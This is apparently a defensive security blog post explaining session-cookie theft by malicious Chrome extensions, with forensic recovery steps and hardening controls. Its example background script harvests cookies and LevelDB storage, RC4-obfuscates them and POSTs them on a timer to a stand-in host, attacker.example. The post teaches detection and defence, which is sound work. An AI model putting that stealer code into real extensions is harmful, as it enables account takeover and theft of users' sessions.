Skip to content
• 10 min read

Browser Session Hijacking Explained: When the Cookie Walks Out the Front Door

You spent money on MFA, zero-trust policies, and password managers. Then a friendly-looking extension quietly copied your live session tokens out of Chrome's LevelDB and left. This write-up shows how the theft works, how the artifacts survive on disk, and why the browser itself became the weakest link.

#DFIR #Session Hijacking #Malicious Extensions #LevelDB #Browser Forensics
Browser Session Hijacking Explained: When the Cookie Walks Out the Front Door hero illustration
Listen to Research
AI Narration
0:00 / --:--

Imagine locking the vault door with three different biometric scanners, then handing the only spare key to a random guy who claimed he was there to “optimize your bookmarks.” That is roughly what happens every time a user installs a browser extension that asks for broad permissions and then never gets reviewed again.

The vault is still locked. The scanners still work. The attacker simply walks out carrying the thing the vault was protecting: the live session cookie that already proves you are authenticated.

This article walks through browser session hijacking as a concrete, repeatable technique. We will build a synthetic internal-portal scenario, show how a malicious extension turns Chrome’s own storage into an exfiltration pipeline, recover the artifacts after the fact, and close with the design and operational controls that actually shrink the window.


What Is Browser Session Hijacking, Anyway?

Session hijacking is the act of taking a valid authentication token that already belongs to someone else and replaying it so the server treats you as that user.

In the browser world the token is usually a cookie (or a set of cookies plus local-storage values). Once the server has issued it, every subsequent request that carries the token is trusted until the token expires or is revoked. MFA, password strength, and even device posture checks are already behind you at that point.

Modern Chromium-based browsers store a surprising amount of this state on disk:

  • Cookies live in an SQLite database (Cookies).
  • Extension data, service-worker state, and many web-app tokens live in LevelDB directories under the profile.
  • Local Storage and Session Storage are also LevelDB-backed.
  • IndexedDB, Cache Storage, and the service-worker script cache sit nearby.

A malicious extension that has been granted the right host permissions (or the powerful unlimitedStorage / storage permissions) can read most of these stores from inside the browser process. It does not need to break out of the sandbox; the sandbox already trusts it.

The classic attack therefore looks like this:

  1. User installs a seemingly useful extension.
  2. Extension enumerates relevant LevelDB / cookie stores.
  3. It extracts live session tokens (often still valid for hours or days).
  4. It ships them somewhere the attacker controls, sometimes after light obfuscation (RC4, XOR, base64, WebAssembly packing, etc.).
  5. Attacker replays the tokens from a different machine and inherits the session.

No password was guessed. No MFA prompt appeared. The browser itself became the delivery mechanism.

Why Should You Care?

Because the attack surface is large, quiet, and largely invisible to traditional network monitoring:

  • MFA is bypassed by design; the token already represents a successful MFA check.
  • Zero-trust network policies that inspect traffic still see legitimate authenticated requests once the stolen cookie is replayed.
  • Endpoint detection that watches for process injection or unusual network destinations may miss an extension that only reads local files and phones home over ordinary HTTPS.
  • The artifacts (LevelDB files, service-worker caches, extension storage) frequently survive on disk long after the session has been used, giving DFIR teams a chance to recover the exact tokens that were stolen.
  • Enterprise environments that allow users to install extensions from the public store, or that push internal extensions without strict review, effectively invite the problem in.

The practical outcome is full account takeover of any web application whose session lifetime is longer than the time it takes the attacker to receive and replay the cookie. Internal admin portals, SSO dashboards, and cloud consoles are especially attractive targets.

Worked Example: A Synthetic Internal Portal

We will construct a generic scenario that mirrors the mechanics without pointing at any real challenge or product.

The Setup

An internal web application called “CorpOps Portal” issues a long-lived session cookie after a successful login + MFA step. The cookie is marked HttpOnly and Secure, so ordinary JavaScript on the page cannot read it. The portal also stores a secondary refresh token and some user preferences in Local Storage.

A helpful-looking productivity extension called “Tab Organizer Pro” is installed by several employees. Its manifest requests:

{
  "permissions": [
    "storage",
    "unlimitedStorage",
    "cookies",
    "https://*.corp.internal/*"
  ],
  "background": {
    "service_worker": "background.js"
  }
}

The extension’s background service worker periodically walks the browser’s storage directories looking for interesting keys.

Step 1: Locate the interesting stores

Chrome keeps profile data under a path that looks roughly like:

Profile Directory/
├── Cookies                          (SQLite)
├── Local Storage/leveldb/
├── Session Storage/leveldb/
├── IndexedDB/
├── Service Worker/
│   ├── CacheStorage/
│   └── ScriptCache/
└── Extensions/
    └── <extension-id>/
        └── ...

The malicious service worker does not need to know the exact filesystem path. The Chrome extension APIs (chrome.storage, chrome.cookies, and in some cases direct LevelDB access via native messaging or experimental APIs) give it enough reach. For the sake of the synthetic example we will pretend the extension also ships a small native helper that can open the LevelDB files directly when the browser is running under the same user.

Step 2: Extract the session material

A simplified (and deliberately insecure) background script might contain logic similar to:

// VULNERABLE pattern – never ship this
async function harvest() {
  const cookies = await chrome.cookies.getAll({ domain: ".corp.internal" });
  const local = await chrome.storage.local.get(null);

  // Also poke at LevelDB files if a native helper is present
  const leveldbDump = await nativeHelper.dumpLevelDB(
    "Local Storage/leveldb"
  );

  const payload = {
    cookies,
    localStorage: local,
    leveldb: leveldbDump,
    ts: Date.now()
  };

  // Light obfuscation so network monitors do not scream
  const encrypted = rc4Encrypt(JSON.stringify(payload), "hardcoded-key");
  await fetch("https://attacker.example/collect", {
    method: "POST",
    body: encrypted
  });
}

setInterval(harvest, 60_000);

The RC4 (or any other reversible transform) is only there to frustrate casual inspection of the outbound traffic. It does not protect the data once the attacker receives it.

Step 3: The tokens leave the building

Because the extension is already running inside the browser process and already holds the necessary permissions, the network request looks like ordinary extension telemetry. Many corporate proxies and EDR products treat traffic originating from the browser as lower priority than traffic from unknown binaries.

The attacker now possesses:

  • The live session cookie for CorpOps Portal.
  • Any refresh tokens that were sitting in Local Storage.
  • Possibly additional tokens for other internal applications that share the same profile.

Step 4: Replay and inherit the session

From a completely different machine the attacker sets the stolen cookie (via a cookie editor, a scripted browser, or a simple curl -b request) and loads the portal. The server sees a valid, non-expired token and grants full access. MFA is never re-prompted because the token already carries the proof that MFA succeeded earlier.

Step 5: What remains on disk for the defender

Even after the attacker has used the session, the original LevelDB files, the extension’s own storage, the service-worker script cache, and the Cookies SQLite database still contain recoverable traces. A DFIR analyst can:

  1. Acquire the user profile directory.
  2. Parse the Cookies SQLite table for the relevant domain.
  3. Open the LevelDB directories with a library that understands the Chromium format (and the Snappy compression that LevelDB frequently uses).
  4. Recover both the stolen tokens and the extension’s own configuration / payload remnants.
  5. Correlate timestamps between the extension’s last activity and the first anomalous login from a new IP / user-agent.

That recovery path is why the same technique that enables the attack also leaves a useful forensic trail.

Vulnerable Code / Configuration Patterns

Dangerous extension permissions

{
  "permissions": [
    "cookies",
    "storage",
    "unlimitedStorage",
    "<all_urls>"
  ]
}

Any extension that combines broad host access with storage or cookie permissions is one review away from becoming a session stealer.

Dangerous background logic (conceptual)

// Never do this
chrome.cookies.getAll({}, (cookies) => {
  const interesting = cookies.filter(c =>
    c.domain.endsWith(".internal") || c.name.includes("session")
  );
  exfiltrate(interesting);
});

Dangerous enterprise policy

Allowing users to install extensions from the public Chrome Web Store (or any unvetted source) without an allow-list is equivalent to giving every employee a privileged process that can read the browser’s secret stores.

Patched / Safer Patterns

Least-privilege manifest

{
  "permissions": [
    "storage"
  ],
  "host_permissions": [
    "https://the-one-site-the-extension-actually-needs.com/*"
  ]
}

Request only the hosts the extension genuinely needs, and avoid cookies unless the extension’s core function is cookie management.

Server-side session controls

  • Short absolute session lifetimes.
  • Binding tokens to a device fingerprint, TLS channel binding, or at least a stable IP range when the threat model allows it.
  • Continuous re-authentication for high-value actions even when a valid session cookie is present.
  • Server-side detection of concurrent sessions from distant geographies or wildly different user-agents.

Enterprise browser controls

  • Extension allow-listing (only approved extension IDs may run).
  • Block the public store for managed devices.
  • Force-install only the extensions that have been reviewed.
  • Monitor for unexpected LevelDB / Cookies file access by non-browser processes.
  1. Treat every extension as code that runs with the user’s privileges.
    Review the manifest, the background scripts, and the update URL before allowing it.

  2. Prefer short-lived, rotating tokens over long-lived session cookies.
    The shorter the lifetime, the smaller the window an attacker has after theft.

  3. Bind sessions to context when the application can tolerate it.
    IP, user-agent family, or a hardware-backed device signal all raise the cost of silent replay.

  4. Instrument the browser profile.
    EDR rules that watch for unusual reads of Cookies, Local Storage/leveldb, or extension directories can surface the theft even if the outbound channel looks clean.

  5. Educate users that “it only needs storage permission” is not a green flag.
    Storage + host permissions is frequently enough.

  6. For high-value internal applications, consider moving the session entirely out of the browser cookie jar (for example, using a short-lived token that is exchanged for a backend session that never leaves the server).

  7. After an incident, acquire the full profile directory, not just the Cookies file.
    LevelDB, service-worker caches, and extension storage often contain the exact payload or the last set of tokens that were harvested.

Testing / Audit Points

When reviewing an environment or an individual machine, ask:

AreaQuestion
Extension inventoryWhich extensions are installed, and do any of them request cookies + broad host permissions?
Manifest reviewDoes any extension declare unlimitedStorage or <all_urls> without a clear business need?
LevelDB accessAre non-browser processes reading the profile’s LevelDB directories?
Cookie lifetimeHow long do high-value session cookies remain valid after issuance?
Concurrent sessionsDoes the application detect or limit simultaneous logins from distant locations?
Update channelCan the extension update itself from an arbitrary URL, or is the update controlled?
Forensic readinessCan the organization acquire a full browser profile quickly when a suspicious login appears?

A simple starting command on a Linux or macOS host (adjust paths for Windows) is often enough to begin:

find ~/Library/Application\ Support/Google/Chrome -name "Cookies" -o -path "*/leveldb/*" 2>/dev/null

Then open the interesting files with the appropriate parsers rather than treating them as opaque binaries.

Common Myths

“HttpOnly cookies cannot be stolen by an extension”

False. HttpOnly stops page JavaScript. It does not stop an extension that has been granted the cookies permission or that can read the on-disk database.

“We have MFA, so session theft is irrelevant”

MFA protects the login ceremony. Once the session token is issued, MFA has already been satisfied. Stealing the token skips the ceremony entirely.

“LevelDB is encrypted, so the data is safe”

Chromium LevelDB files are not encrypted by default on most desktop platforms. They are simply structured binary files that any process running as the user can read.

“Only shady extensions from unknown developers are dangerous”

Plenty of real incidents have involved previously reputable extensions that were later compromised, or internal extensions that were never reviewed with a security lens.

Final Thoughts

The browser has become the new endpoint. It holds the keys to every SaaS application, every internal portal, and every cloud console the user touches. Giving an unreviewed extension the ability to read those keys is not a theoretical risk; it is a practical, repeatable technique that leaves recoverable artifacts on disk.

You can harden the network, enforce MFA, and rotate passwords every thirty days. None of that matters if the live session token is sitting in a LevelDB file that a friendly-looking extension just copied.

The safest session is the one that expires before the attacker finishes downloading it.

References

⌘
Suggested Searches